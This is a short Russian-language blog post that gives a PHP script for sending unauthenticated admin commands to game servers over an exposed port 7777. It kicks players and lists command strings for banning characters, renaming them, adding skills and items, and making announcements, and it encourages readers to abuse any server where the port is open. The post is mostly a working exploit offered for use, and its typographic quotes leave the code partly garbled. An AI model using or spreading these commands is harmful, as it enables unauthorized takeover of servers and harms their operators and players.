Баг с 7777 портом
Четверг, Декабрь 8, 2011 20:41Баг с 7777 портом
PHP код:
$char_name='char_name';
$fp = fsockopen("server-ip", 7777, $errno, $errstr);
if (!$fp) {
echo "$errstr ($errno)
\n»;
} else {
$out = «5″.»\t».$char_name.»\t».»\r\n»;
fwrite($fp, $out);
stream_set_timeout($fp, 2);
$answ = fgets($fp,8);
if ($answ==1) {
print»Character is successfully kicked.»;
} else {
print»Error.»;
}
fclose($fp);
}
?>
Скрипт выше кикакет игрока с ником «char_name» с сервера «server-ip».
Если поиграться с отправляемой строкой, то можно глумиться над сервером как душе угодно.
Вот примеры некоторых строк:
PHP код:
// $out = «5″.»\t».$char_name.»\t».»\r\n»; // kick
// $out = «5\t{$char_name}\t\r\n»; // kick
// $out = «6\t{$char_name}\t5\t5\t\r\n»; // skill add
// $out = «4\tprobe2\tprobe\t\r\n»; // CHANGE_CHARACTER_NAME
// $out = «39\ttester\t1\t\r\n»; // BAN_CHAR
// $out = «50\tasd\ttester\t1\t1\t\t\t\t\r\n»; // MAN_ANNOUNCE ?
// $out = «45\tprobe\t\t\r\n»; // SEND_HOME ?
// $out = «12\tprobe\t0\t57\t10\t0\t0\t0\t0\t0\t\t\r\n»; // ADD_ITEM
// $out = «12\tprobe\t0\t1148\t1\t0\t0\t0\t0\t0\t\t\r\n»; // ADD_ITEM
// $out = «12\tprobe\t0\t4189\t1\t0\t0\t0\t0\t0\ttester\t\r\n»; // ADD_ITEM
Проблема лишь в том что 7777 порт закрыт практически на всех серверах.
Однако если вдруг вам попадется удача и на вашем сервере это будет работать, то считайте что вам повезло.